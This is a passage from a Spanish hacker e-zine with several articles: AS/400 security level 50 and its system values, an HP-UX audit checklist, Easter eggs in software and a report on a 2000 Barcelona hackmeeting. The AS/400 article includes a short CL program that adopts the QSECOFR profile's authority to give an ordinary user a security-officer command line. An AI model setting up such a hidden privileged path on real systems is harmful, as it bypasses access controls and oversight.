joysticks analogicos y /dev/djsn para los joysticks digitales; "n" es el
numero de joystick.
* INTERFASES DE RED: Las interfases de red mas utilizadas son las Punto a
Punto (PPP) o las interfases Ethernet. Los dispositivos para las mismas
son: /dev/pppn para las interfases PPP y /dev/ethn para las interfases
Ethernet; "n" es el numero de interfase.
* CD-ROM'S ESPECIALES:
|------------------------|-------------------------|
| CD-ROM | Archivo de dispositivo |
|------------------------|-------------------------|
| Sony CDU-31A/CDU-33A | /dev/sonycd |
| Sony CDU-535 | /dev/cdu535 |
| Goldstar | /dev/gscd |
| Optics | /dev/optcd |
| Sanyo | /dev/sjcd |
| Hitachi | /dev/hitcd |
| Mitsumi | /dev/mitcd |
| Panasonic/SoundBlaster | /dev/sbpcdn6 |
| Aztech | /dev/aztcd |
|________________________|_________________________|
[NdE: En la proxima entrega hablaremos de programas y procesos,
interaciones con el sistema, algunos comandos utiles ... ]
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 07. AS/400, Seguridad Nivel 50 y Algo mas... ::--..
by Taker
Hi..
Otra vez aqui a aburrirlos con uno de mis articulos sobre AS/400, ha pasado
un buen tiempo desde el numero anterior donde nos quedamos con el nivel 40,
esta vez veremos el nivel 50, completo (o eso espero, pues ya voy tarde para
la salida del e-zine) y un truquillo que dejare para el final. ;)
Como ya vimos, el nivel 40 de seguridad, implementa seguridad a nivel de la
integridad del sistema. Ahora veremos que el nivel 50 trae consigo la
implementacion de las funciones necesarias para cumplir con el nivel C2 del
DoD (o Departamento de Defensa ;)). De hecho alguna vez escuche que el DoD le
pidio a IBM estas caracteristicas para sus sistemas, IBM las desarrollo y las
presento, cuando el DoD las vio, dijeron que eso era mucho... XDDD nadie los
entiende.
Hay que anotar, que al implementar el nivel 50 de seguridad el sistema tendra
mucho mas trabajo, se volvera mas lento etc, esto porque a la carga de
trabajo normal que utilizan los programas, el sistema realiza para cada
trabajo, un chequeo de cada una de las instrucciones, para que estas no vayan
a hacer cosas que comprometan la seguridad del mismo. Es por esto que no se
recomienda implementarlo a no ser que sea estrictamente necesario...
Cuando se utiliza el nivel 50 de seguridad, el sistema valida cada
parametro, impone restriccion a los mensajes, remueve los punteros de los
mensajes, evita la modificacion de los bloques de control y verifica
constantemente la Libreria QTEMP (imagino que por el nombre sabran para que
se utiliza.)
Veamos que hace cada una de estas validaciones:
Validacion de parametros: Cada vez que una aplicacion de usuario llama algun
programa del OS/400 que este corriendo a nivel de sistema, el OS/400 verifica
cada parametro que se pase entre los programas, para evitar el compromiso del
sistema.
Restriccion de los mensajes: Ya habiamos visto que todos los objetos en el
AS/400 pertenecen al dominio del systema "*SYSTEM" o al dominio del usuario
"*USER". La mayoria de los objetos suministrados por IBM son de dominio del
sistema, y TODOS los objetos creados por los usuarios y algunos pocos
suministrados por IBM son de dominio del Usuario, lo mismo pasa con los
programas, ahora tenemos que, los programas de usuario solo pueden accesar
objetos de dominio de usuario, pero los programas del sistema, pueden accesar
ambos tipos de objetos, esto significa que un programa de usuario solo puede
accesar objetos del sistema utilizando algunas API's del sistema, el nivel 50
de seguridad impone las siguientes restricciones para evitar compromisos del
sistema:
Un programa en estado de sistema puede enviar cualquier tipo de mensaje a
cualquier programa corriendo a nivel de usuario o a nivel de sistema.
Cualquier programa de usuario puede enviar cualquier mensaje unicamente a
programas que esten corriendo a nivel de usuario.
Un programa de usuario, puede enviar un mensaje "nonexception" (lease, que no
afecte su comportamiento), a cualquier programa a nivel de sistema.
Un programa de usuario puede enviar mensajes tipo excepcion a un programa de
sistema, solo si el programa de sistema lo solicita, o si el programa de
sistema llama al programa de usuario.
Adicional a esto , el OS / 400 elimina los punteros que se utilizan para
reemplazo de textos en los mensajes enviados a las aplicaciones de usuario
desde otro job (trabajo), esto lo hace para evitar que la recepcion de un
trabajo que este utilizando esos punteros comprometa la seguridad y se salte
las auditorias del sistema.
Prevencion contra la modificacion de bloques de control. En este nivel, no se
permite la modificacion de bloques internos de control (Ej. Las estructuras
internas disponibles para el sistema operativo). Estas restricciones pueden
dejar inoperables algunas utilidades, y es mejor contactar con los
desarrolladores de las aplicaciones entes de cambiar al nivel 50.
Mantenimiento de la libreria QTEMP. Si, es algo asi como el directorio TEMP
del windows. Esta, aparentemente es una libreria donde se almacenan los
archivos temporales. La libreria QTEMP es unica para cada trabajo del
sistema, y se pueden accesar los objetos de ella unicamente desde su trabajo
asociado, y cuando ese trabajo termina de forma normal, todos los objetos de
ella, y ella misma desaparecen (son eliminadas, que esto no es The X Files..
XDD). Por lo menos esa es la idea de su implementacion (Igual ocurre con la
de windows... pero aun asi, dense una vuelta por su directorio temporal a ver
si esta vacio).
El hecho, es que si no se esta corriendo bajo el nivel 50, cada libreria
QTEMP permanece en el sistema. Cuando un trabajo comienza, el sistema
operativo crea una libreria QTEMP para ese trabajo, y direcciona la libreria,
y cada objeto en ella hacia una direccion raiz en el sistema (valga la
redundancia). Si el trabajo, o el sistema terminan de forma anomala, en el
proximo IPL, el sistema busca las librerias y objetos de ella por sus
direcciones y los elimina del sistema. Aunque internamente sean permanentes.
Con la implementacion del nivel 50, estas librerias son tratadas de forma
diferente, ya que el sistema no almacena las direcciones raiz, y
efectivamente trata estas librerias temporales como librerias temporales,
asi como los objetos de cada una de ellas. El resultado es que si un trabajo,
o el sistema mismo, terminan de forma anomala, el sistema no puede localizar
las direcciones (que en realidad no existen), y la biblioteca QTEMP y sus
objetos permanecen en el sistema. En este caso, es necesario utilizar el
comando RCLSTG (Reclamar Almacenamiento), para recuperar los objetos que
estan perdidos y borrarlos manualmente.
Valores Generales del sistema
******* ********* *** *******
Ahora veremos los valores generales del sistema (los que tienen que ver algo
con la seguridad), como el control de contrase~as, y los que controlan la
auditoria del sistema. (Para ver y modificar estos valores es necesario
entrar a valores del sistema utilizando el comando wrksysval).
Estos son los valores y algunas recomendaciones que hace la gente de IBM.
QALWOBJRST ** Permite la restauracion de objetos que comprometan la seguridad
(Programas del sistema) -- Este valor de sistema determina, cuando se le
permitira a alguien restaurar objetos del sistema. El valor por defecto
(*all) permite que cualquier objeto, incluyendo los que pueden comprometer la
seguridad, puedan ser restaurados por un usuario con los permisos adecuados.
Se puede especificar el valor *NONE para prevenir la restauracion de esos
objetos de sistema. Se puede especificar *ALWSYSST para permitir la
restauracion de los objetos de sistema, o se puede especificar el valor
*ALWPGMADP para permitir la restauracion de programas que tenga el atributo
de adopcion de autoridad.
Para tener un maximo control se debe ajustar este valor a *NONE. Sin embargo,
si frecuentemente se restauran objetos de adopcion de autoridad en el sistema
(pej. cuando se distribuye software a varios sistemas AS/400), se debe
ajustar el valor a *ALWPGMADP, y examinar cuidadosamente cualquier software
que haya sido restaurado por otros a su sistema.
Tambien hay que tener en cuenta, antes de instalar un programa bajo licencia
o al aplicar PTF's (los PTF's son como los parches de windows, creo que ya lo
habia dicho, pero igual vale), se debe cambiar este valor a *ALL. De lo
contrario, la operacion puede fallar (imagino que sabran el porque). Y
despues de terminar el trabajo cambiar el valor al que estaba anteriormente.
QALWUSRDMN ** Permitir objetos de dominio de usuario en bibliotecas -- Este
valor especifica el nombre de las librerias que permitiran tener objetos de
usuario en ellas, el valor por defecto es *ALL (todas), y es aceptable para
sistemas que no requieren cumplir con el nivel C2 de seguridad. El valor *DIR
permite la estadia (por decirlo de algun modo) de objetos de dominio de
usuario en todos los directorios del sistema. Aquellos que deben cumplir con
el nivel de seguridad C2, tiene que utilizar el nivel de seguridad 50 y
especificar la libreria QTEMP para el valor QALWUSRDMN. El sistema no puede
auditar el movimiento de informacion desde y hacia los objetos de dominio de
usuario. En el nivel de seguridad 50, la libreria QTEMP es un objeto
temporal, lo cual previene el intercambio de informacion confidencial entre
usuarios.
A no ser que se deba cumplir con el Nivel C2 de seguridad, se debe
especificar *ALL para el valor QALWUSRDMN. Si se especifica cualquier otro
valor (diferente a *ALL), se debe incluir la biblioteca QRCL en la lista de
librerias. Cuando se ejecuta el comando RCLSTG, el sistema necesitara mover
(o puede hacerlo), *USRSPC (espacio de usuario), *USRIDX (Indices de
usuarios) y *USRQ (Colas de usuario) a la libreria QRCL. Por razones de
seguridad se debe cambiar la autoridad publica a *EXCLUDE para la libreria
QRCL.
QAUTOVRT ** Creacion automatica de dispositivos virtuales -- El valor
QAUTOVRT determina el numero de dispositivos virtuales que seran creados por
el sistema cuando sea requerido, es decir, si se conecta una pantalla, o si
se hace una peticion telnet al OS/400, este automaticamente crea un
dispositivo virtual, que es el que permite la conexion entre una pantalla o
una terminal, con el sistema OS/400 (esos mismos que vimos por alla en una R
anterior, los DSP010101 etc...). El valor de 0, implica que los dispositivos
virtuales no se crearan automaticamente, dando asi, la seguridad de tener el
control de los dispositivos que se pueden conectar al sistema. Un valor
diferente de 0, determina el numero maximo de dispositivos virtuales que se
conectaran al sistema.
QCRTAUT ** Autorizacion publica por omision al Crear. -- Este parametro el
valor por defecto de los permisos publicos para todos los objetos creados en
una libreria. El parametro permite los siguientes valores:
*SYSVAL Utiliza el valor especificado en QCRTAUT
*ALL La autorizacion de uso publico por omision es *ALL
*CHANGE La autorizacion de uso publico por omision es *CHANGE
*USE La autorizacion de uso publico por omision es *USE
*EXCLUDE La autorizacion de uso publico por omision es *EXCLUDE
El valor por defecto del parametro CRTAUT es *SYSVAL. Por esto, cuando se
crea una biblioteca y no se especifica un valor para el parametro CRTAUT, la
autoridad publica por omision para los nuevos objetos creados en esa
biblioteca seran los especificados en el parametro CRTAUT en los valores del
sistema.
Un cambio de valor del sistema QCRTAUT a un valor mas restrictivo como *USE o
*EXCLUDE, limitara el acceso de los nuevos objetos creados. Puede ser
necesario que el propietario de los objetos o el responsable de seguridad
(QSECOFR) tenga que otorgar autorizacion adicional antes de que el objeto
pueda utilizarse.
QDSPSGNINF ** Control de informacion de pantalla de Inicio de Sesion -- Este
valor del sistema controla si el usuario ve una pantalla informativa en el
inicio de sesion, esta pantalla le indica la fecha y hora del ultimo inicio
de sesion y el numero de intento de inicio de sesion no validos desde el
ultimo inicio de sesion. Sus posibles valores son:
0 No se visualiza la Informacion de inicio de sesion.
1 Se visualiza la informacion de inicio de sesion.
QINACTITV ** Tiempo de espera de trabajo Inactivo. -- Determina la cantidad
de tiempo en minutos, en que una pantalla puede permanecer activa antes de
que el sistema envie un mensaje a la cola de mensajes especificada en el
parametro QINACTMSGQ, desconecte el trabajo, o termine el mismo. Si en el
parametro QINACTMSGQ esta el valor *DSCJOB, el trabajo se desconectara (esto
significa que no se cancelara, asi, se desconecta al usuario, pero la proxima
vez que inicie una sesion, podra seguir con su trabajo, bueno, esto tambien
depende del tiempo que el trabajo este desconectado, si sobrepasa un limite
de tiempo especificado en QDSCJOBITV, el trabajo se cancelara).
QLMTDEVSSN ** Limite de sesiones de dispositivo -- Determina la cantidad de
veces que un usuario puede estar loggeado en el sistema simultaneamente. El
valor 0 permite a un usuario estar loggeado la cantidad de veces que desee.
El valor 1 restringe al usuario a estar loggeado una sola vez. Este parametro
controla la cantidad de concurrencias de un usuario en el sistema, pero puede
ser saltado por el parametro LMTDEVSSN del perfil de usuario.
QLMTSECOFR ** Limitar acceso a dispositivos al responsable de seguridad --
Este parametro determina los dispositivos que pueden ser accesados por los
usuarios con autoridades especiales de *ALLOBJ o *SERVICE (Que incluye
QSECOFR y QSRV). Si el valor esta en 0, los usuarios con autoridades de
*ALLOBJ y/o *SERVICE podran utilizar cualquier estacion conectada al sistema.
Si el valor esta en 1, estos usuarios, solo podran acceder al sistema, desde
dispositivos que esten especificamente autorizados. En la mayoria de los
casos, no es necesario que los administradores de seguridad, o los perfiles
con atributos de *ALLOBJ accesen estaciones de trabajo, por fuera del centro
de computo.
Aunque se nota que es efectiva en cuanto seguridad, se puede notar que tiene
un problema operativo, pues a veces es necesario viajar a un sitio remoto y
encontrarse con que es necesario utilizar un perfil de usuario con atributos
especiales, asi pues, se pueden hacer dos cosas:
Primero: Se puede autorizar una de las estaciones remotas para que permita
acceder a usuarios con permisos especiales.
Segundo: (Esta es mejor, pues si uno no se ha preparado para el viaje, como
suele suceder)
Crear un usuario con clase *USER y MAIN para el menu inicial.
Con ese perfil de usuario crear un CL (Programa) que tenga lo siguiente:
PGM
CALL QCMD
SIGNOFF
ENDPGM
Despues de esto, firmando como QSECOFR compilar el programa, con USRPRF a
(*OWNER), con eso se adoptaran los permisos especiales de QSECOFR, despues de
esto, autorizar al perfil de usuario creado anteriormente, como unico que
puede ejecutar el CL.
En el sitio remoto, se utiliza el perfil de usuario creado para acceder al
sistema, luego se llama al CL, y este al ejecutarse entrara a una pantalla de
comandos, con la diferencia que esta tendra permisos de QSECOFR. ;)
Ahora, es bueno recordar, que la contrase~a para este usuario no debe estar
disponible a la vista de personas no deseadas...
QMAXSIGN ** Numero Maximo de intentos de loggeo -- Este valor, junto con el
QMAXSGNACN determina el numero maximo de intentos fallidos de loggeo antes de
tomar una accion al respecto (estas acciones van desde deshabilitar el perfil
de usuario, hasta deshabilitar el dispositivo desde donde se esta intentando
la entrada.
Si se le da un valor numerico al valor QMAXSIGN, el sistema envia un mensaje
a la estacion, avisando que el proximo intento fallido la deshabilitara
(Cuando solo quede un intento).
Poner *NOMAX a este valor, hace que el sistema sea vulnerable a un ataque por
fuerza bruta.
El valor QMAXSGNACN determina la accion que tomara el sistema cuando se halla
llegada al numero limite de intentos, estos valores pueden ser:
1 Deshabilitar el dispositivo (Pantalla)
2 Deshabilitar el perfil de usuario
2 Deshabilitar el dispositivo y el perfil de usuario
Will Continue...
Buff, muchas ocupaciones, mucho que hacer, y muy poco tiempo...
En la siguiente edicion continuare con esta pequeña introduccion a la
seguridad en nivel 50 en AS/400, aunque la verdad, me parece muy exagerada,
pero siempre es bueno darle un vistazo a todo eso...
Ahora, los que me preguntan por mail, que donde pueden conseguir el OS/400
para instalarlo en el PC, mmmm... pues Creo que viene en CD's... pero No creo
que les sirva de mucho...
See Ya...
Taker
CDLR - Sec. Team (Igual podria ser .. otra cosa...)
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Pd. There's no Pd's...
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 08.1/3 Auditoria HP ::--..
by cucumber
Este mas que un articulo es una ayuda para quienes quieran hacer una
auditoria a un HP/UX y al mirarlo solo vean un sistema UNIX arcaico en
apariencia... bueno, lo traduje del ingles ya que no encontre nada en
castellano de utilidad. Quiero dejar en claro que no es mio el texto
original, sino que lo saque de http://www.auditnet.org en su version en
ingles.
Pues bien, aca vamos! Cualquier sugerencia, direcciones buenas de auditorias
u otros, a
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Chao!
Auditoria HP/UX
---------------
I. Preliminar:
A. Obtener una lista de la gente responsable de la operacion de las maquinas
HP.
B. Obtener cualquier dato de procedimientos de seguridad y control
existentes.
C. Obtener la configuracion de la red.
D. Obtener la lista de aplicaciones que corren en la maquina.
E. Obtener la descripcion del trabajo del Administrador.
II. Pasos de la auditoria:
A. Revisar el dise~o de los criterios de seguridad.
B. Determinar como se controla el acceso a las maquinas, el manejo de las
bases de datos, etc.
C. Determinar quien tiene el rol de administrador.
D. Determinar que documentos estandares se estan ocupando (por ejemplo ISO
12000, etc.)
E. Revisar el manejo y construccion de passwords.
F. Revisar las guias existentes para usuarios, grupos y funciones.
III. Seguridad fisica:
A. Revisar la configuracion de la red para asegurarse de que todo esta seguro
(HUB's, routers, etc..).
B. Determinar quien es responsable y que documentacion es necesaria para
hacer cambios de estructura en la red.
C. Asegurarse de que solo el administrador tenga acceso a la consola.
IV. Administracion del sistema:
A. Identificar a los administradores ($ grep :0: /etc/passwd)
B. Determinar que cada administrador tenga el requerido nivel de autoridad.
C. Determinar los procedimientos para los cambios de usuarios, programas, etc
D. Determinar la persona apropiada para el monitoreo de servidor de archivos.
E. Determinar la persona apropiada para hacer shutdown y backup.
F. Determinar si los backup quedan en un lugar seguro.
G. Determinar quien esta manteniendo las licencias.
V. Seguridad del sistema:
En HP/UX la interfaz de administracion se llama SAM y se encuentra en
/usr/bin/sam.
A. Durante la instalacion inicial, ¿el administrador hizo una descripcion de
los archivos de produccion (PDFS)? ¿Se usan para certificar cambios no
autorizados de los archivos?
Revisar mkpdf y pdfck
B. ¿ El sistema corre en modo seguro ? Si es asi, debe existir
/.secured/etc/passwd. En /etc/passwd deja un * donde iba el password
encriptado. El hacer eso, fuerza a crear un ID de auditoria.
C. Determinar si la auditoria esta activada. Use SAM seleccionando "Auditing
and Security" revisando el estado de usuarios, eventos, etc. Audite los
datos recolectados en /.secure/etc/auditlog_1
D. Revisar los logs de auditoria para determinar eventos no autorizados.
E. Revisar /etc/inittab
F. Revisar todos los scripts de inicio (rc)
G. Revisar sulog para ver actividades sospechosas.
H. Asegurese de que se hace backup y donde se guarda (en un lugar seguro).
VI. Seguridad de cuentas:
Revisar los permisos de control de acceso (ACL).
$ lsacl memos
(jose.adm,rw-) (ana.%,r-) (%.acct,r--) (%.%,---) memos
chmod solo cambia los permisos para el due~o (owner) y el grupo primario,
para eso se usa chmod -A para usar ACL.
$ ll -d precios
drwx------ + 1 pedro adm 345 jun 5 7:15:23 precios
El '+' significa que un directorio tiene ACL activados.
VII. Seguridad de la red:
A. Revisar /etc/exports para ver que sistemas de archivos pueden ser montados
por otras maquinas. Revisar las maquinas que pueden hacer eso en
/etc/netgroup.
Cada linea tiene dos campos: El nombre del sistema de archivo a ser
exportado. El segundo campo y los siguientes nombran el sistema al cual el
sistema de archivos puede ser exportado. Si hay menos de dos campos, el
sistema de archivos puede ser exportado a todo el mundo.
B. Revisar /etc/hosts.equiv para verificar los nombres de computadores que
tienen permiso de conectarse a la maquina sin password.
C. Determinar si algun dominio administrativo ha sido creado. Verificar la
consistencia de los nombres de usuario, etc. En el dominio.
D. Verificar los permisos en el control de archivos de red. Los archivos
mostrados a continuacion NUNCA deben estar con permisos de escritura:
networks: Nombres de redes y sus direcciones.
hosts: Host de la red y sus direcciones.
services: Base de datos de los servicios.
exports: Servicios a exportar via NFS.
protocols: Base de datos con el nombre de protocolos.
inetd.conf: Archivo de configuracion de internet.
netgroup: Lista de grupos en la red.
E. Revisar el uso de UUCP
F. Revisar el FTP anonimo. De estar habilitado y no ser estrictamente
necesario, deshabilitarlo.
G. Revisar el uso de TFTP.
H. Seguridad del modem:
* Uso de tarjetas inteligentes o algun tipo de Dial-Back.
* Usar un password adicional.
* Mantener la lista de accesos al dia.
VIII. Seguridad de dispositivos de archivos:
A. Revise el directorio /dev para revisar que esten bien seteados los
permisos.
B. Asegurese de que todos los dispositivos residan en el directorio /dev
C. Revise los permisos de mem, kmem y swap.
D. Los puertos UNIX deben estar con permisos de lectura para todo el mundo.
Solamente el due~o debe tener permisos de escritura.
E. Asegurese que un usuario individual no sea propietario de ningun
dispositivo, excepto terminal o la impresora.
IX. Trabajos de seguridad por lotes (BATCH)
A. Revisar el crontab del root.
B. Revisar comandos AT. (revisar los permisos en at.allow, at.deny)
X. Archivos LOG:
A. Usando el comando last podemos ver los ultimos ingresos al sistema.
B. Use el comando /etc/wtmp para revisar sesiones de conexion:
$fwtmp < /etc/wtmp
C. Revise /usr/adm/messages para intentar fallidos de login.
D. Revise si accountig este habilitado. Se habilita con accton
E. Vea los registros de procesos de las cuentas.
Acctcon permite desplegar registros de cualquier archivo que contega
registros de cuenta.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 08.2/3 Easter Eggs ::--..
by CHack
Cada vez que me entra la depresion, reviso mis viejas zines; esas que siempre
hacen que el gusano de la curiosidad vuelva a moverse, como en aquellas
epocas de mi juventud; ahi encontre un articulo en la Raregazz #12, escrito
por Cytorax, que realmente me intereso de sobremanera.
Ese articulo hablaba de los easter eggs o huevos de pascua, pero creo que
primero debemos empezar por entender, que son los huevos de pascua?
Segun el Vocabulario de ordenadores e Internet de Jose Antonio Millan
(jamillan.com/v_index.htm), se define a los Easter Eggg como "un contenido,
por lo general humoristico, oculto dentro de un programa de amplia difusion,
y al que solo se puede acceder por un procedimiento secreto. Como es logico,
son los programadores quienes han creado y escondido estos materiales, a modo
de firma secreta"
Ahora el incluir trozos de codigo en los programas principales, en los que se
incluye la incognita de los programadores o el sello humoristico de cada uno,
practicamente se ha vuelto una costumbre y se puede decir que un programa que
no tenga alguna funcion oculta, pues ya perdio una parte de su encanto.
Realmente, se desconoce cual fue el primer huevo de pascua que fue insertado
en algun programa informatico, pero al parecer desde los primeros cartuchos
de atari 2600 ya se incluian, e inclusive en las viejas commodore y amigas
aparecian con bastante frecuencia este tipo de trucos.
Rara vez las compa~ias han hablado del tema, algunas inclusive se muestran en
contra de este tipo de actividades, se~alando que esos "chistes" podrian
afectar la eficiencia del programa, y que seria preferible utilizar el
espacio que ocupan los pascuales en mejoras para el programa, pero lo cierto
es que con permiso o no, los programadores siguen dejando su huella para la
posteridad.
Ahora ya no solo se encuentran los huevos de pascua en el software de
ordenadores, sino que inclusive los encontramos en el hardware, peliculas,
libros, musica, DVD´s, telefonos celulares, calculadoras personales, cabinas
de telefonicas e inclusive hasta en tu tamagochi como se muestra en
members.es.tripod.de/Anquises/curiosidades.htm.
Me he encontrado que existen diversas paginas donde se habla de estos
secretos, como son www.eggheaven2000.com,
www.cnet.com/Content/Features/Howto/Eggs/index.html,
members.xoom.com/Tayra/ee.html y bueno muchisimas mas ,pero al parecer todas
se copian entre si los trucos; pero la pagina mas documentada sobre el tema
(www.eeggs.com), cuenta ya con un catalogo de mas de tres mil, que abarcan
campos como software, hardware, peliculas, musica, arte o libros; ademas de
que tiene una especie de medidor, en el que indica que tan dificil es de
obtenerlo.
Organizaciones como las siguientes: www.ycgroup.com/egghunt,
www.kraftfoods.com/html/features/easter/virtu_hunt.html y
www.oz.net/~annien/annie_easter_fun/easter_begin_search.html, realizan en sus
paginas "cacerias" de huevos de pascua, en los que el participante debe
saltar de pagina en pagina para conseguir su premio.
Sabemos que tambien les ha dado a las casas cinematograficas, por incluir
escenas detras de camaras o pistas de musica ocultas dentro de las peliculas
DVD, y hasta en algunas peliculas agregas huevos de pascua con se~alizacion,
(yo creo que es con el fin de evitar la fatiga), ya que dan pistas como en la
caso de Matrix para acceder a esas escenas escondidas, avisando
repentinamente con un conejo blanco donde esta el huevito, si desean mas
informacion la pueden encontrar en:
http://www.dvdresource.com/features/eggs.shtml http://dvd.ign.com/eggs.html
y http://www.dvdeastereggs.com/
Cosas como el Hardware no escapan a la habilidad de sus dise~adores, y su
imaginacion no tiene limite para incluir estos artilugios, ya que tambien
podemos encontrarlos en las Palm donde se reportan algunos huevos de pascua
(www.lacompu.com/palm/trucos.php3 y
skyscraper.fortunecity.com/sql/916/undoc.html); o en las calculadoras HP, que
tambien tiene su historia (www.hpcalc.org/hp48/docs/hpedia/espanol.html), y
hasta en los scanner HP (www.htsoft.com/easter/) podemos encontrar que
tambien tienen su pascualito incluido.
Hubo un tiempo en que yo pense que mi equipo DVD (el de escritorio) estaria a
salvo de los easter eggs, pero no; algunos modelos de DVD (como el que yo
tengo, jeje), mediante su control remoto pueden cambiar la region con la que
fueron disenados; la pagina donde encontre eso se las puedo decir en privado
;o)
antes de terminar, les comento que los huevos de pascua no solo se dan en los
instrumentos con los que interactua el usuario, tambien en algunas peliculas,
encontramos algunos detalles que nos hablan de sus creadores, tal es el caso
de la amenaza fantasma en donde algunas escenas o nombres se puede apreciar
la mano de George Lucas o de los artistas de ILM
(loresdelsith.unicyber.org/trp6/imagenes/pascua/c_pascua.htm)
cabe aclarar que algunos incluso senalan que el propio Bill Gates tiene su
propio huevo de Pascua incluido y que si aplicamos la tabla ASCII y hacemos
una serie de operaciones matematicas obtendremos el numero 666; o sea, que el
due~o de microsoft no solo es el hombre mas rico del mundo sino tambien es un
hijo del averno (www.mundolatino.org/manoamano/pascua.htm).
kilos y kilos de paginas con estos trucos los podemos encontrar en la Inet,
sin embargo les recomiendo visiten la pagina
www.orionis.com.mx/tallerdelphi/td03_3.htm, donde explican mediante un
ejemplo muy detallado, la forma en que se puede hacer un huevo de estos en
codigo en delphi, o que acudan a las paginas de algunos de los cazadores de
estos, como Pogue (www.pogueman.com), Jamie Zawinski
(people.netscape.com/jwz/index.html) o David Nagy-Farkas
(www-leland.stanford.edu/~davidnf/)
. Por cierto, en este articulo yo tambien he puesto mi huevo de pascua.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 08.3/3 Cronica del hmBCN '2000 ::--..
by TnK
Durante el fin de semana del 20 al 23 de Octubre, se celebro en Barcelona, el
hmBCN00. Partiendo con mucha ilusion y fuerza, un grupo de personas, de
manera voluntaria, se preparan para montar un encuentro de hackers a nivel
internacional. Ante la falta de medios y la intencion de hacer independiente
el evento, se decide, hacer el hackmeeting en un enorme centro social okupado
de Barcelona, llamado "Les Naus", sin publicidad, ni patrocinadores, ni
organismos oficiales. En fin, algo totalmente libre y montado por tod@s los
que quisieron participar. Con motivo de hacerse en este sitio, algunos
miembros de la escena hack, y en particular el grupo espa~ol !Hispahack,
crearon polemica al pensar que no seria recomendable mezclar politica y
hacking, lo cual supuso el abandono de la participacion que este grupo tenia
pensado hacer. Se creo una fuerte polemica en la mailing list del hmBCN00 y
se lanzaron feas acusaciones que no ayudaron en nada, y por poco se parte la
lista y se suspende el acto. A pesar de este contratiempo, todo siguio su
curso y al final, el hackmeeting fue todo un exito. Varios cientos de
personas pasaron por "Les Naus" y tambien la brigadilla de delitos
informaticos de la Guardia Civil, de camuflaje y aunque nadie les vio, tod@s
sabiamos que estaban...
Durante tres dias, convivimos alli, gente de muchas partes del Estado espa~ol
de Alemania, Italia, EEUU, etc. No hubo ningun problema y se dieron charlas y
talleres de cantidad de temas. Como coincidian los horarios, no habia
posibilidad de ver todas las charlas y habia que elegir...
Entre las mas destacables, estan la de patentes del software, a cargo de un
editor de "Barrapunto" donde se destaco el peligro y la necesidad de luchar
contra este asunto, Artivismo, por el grupo Fiambrera obrera y RTMark como
forma de juntar el arte y la protesta, el debate hacking y medios de
comunicacion donde estaban los responsables y corresponsales de los
principales periodicos oficiales que tratan el tema de la informatica, que
reconocieron que los que hacen la noticia, dan una vision real, de lo que es
un hacker, pero que luego sus jefes la cambian en busca de un titular mas
llamativo con la consiguiente criminalizacion de este arte, cosa que se les
echo poco en cara en ese debate, donde ademas nos invitaban a descubrirnos y
"salir del ghetto" con el fin de explicar al mundo quienes o que somos y
ellos hacer su buen reportaje, je, je, je!
Tambien se dio una interesante charla sobre ciberdelito, policia y derecho
penal, que planteo la posible ilegalidad de condenar la intrusion informatica,
desde el punto de vista juridico. Tambien otros temas de interes como Echelon
(Sistema de espionaje digital a nivel mundial), la mecanica cuantica aplicada
a los ordenadores, GNUtella, FreeNet, tarifa plana, algoritmos de cifrado RSA
(muy buena), PGP y otras muchas desde el viernes a las 17.00 de la tarde,
hasta las 14.00 del domingo.
Por otro lado, los talleres fueron de lo mejor, un curso practico de cabinas
telefonicas, a cargo de un miembro de SET, instalacion de la ultima version
de Debian GNU/linux en varias maquinas, criptografia, remailers anonimos y
hasta analisis de redes, etc. Tambien se presentaron el grupo CPSR-Spain,
sindominio.net, y un nuevo grupo de hackers llamado outlimit.
Todo fue muy bien, ademas habia un cuarto para la red, donde a menudo
entraban y salian maquinas, unas 15 permanentemente con conexion a Internet
desde donde se informaba a la gente que no pudo ir, como iba el encuentro.
Creo que ha sido una experiencia muy positiva, ya que nos ha obligado a
abrirnos al resto de la gente que alli habia, preguntar, aprender y cambiar
impresiones. A pesar de que facilmente, por alli no habia ningun "hacker de
verdad" como se dijo en la lista, no se ha dependido de grandes
multinacionales ni de ningun mecenas para llevar a cabo este acto y dentro de
su modestia, lo principal es que lo hemos pasado muy bien. Me llamo la
atencion, la gran cantidad de chicas que se dejaron ver por "Les Naus", otra
cosa positiva mas, o acaso el hacking es solo cosa de chicos??
Ojala el a~o que viene, nos quitemos prejuicios y venga mas gente... Por alli
nos veremos... Animo Roxu, Mercè, Miquel, Alejo y demas familia.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 09. Noticias CDLR ::--..
by Mr.Nexus
Durante este tiempo sin saber de nosotros hemos trabajado duramente (ejem!)
en varios proyectos que teniamos por ahi colgados. Lo mas visible es la
inauguracion del nuevo dominio nt.cdlr.org dedicado enteramente a la
seguridad bajo este SO. Espero que sobre decir que esperamos colaboraciones
de todos vosotros en forma de programas, sugerencias, articulos... y demas
cosas que se os ocurran.
En este subdominio estamos volcando los nuevos descubrimientos de CDLR en
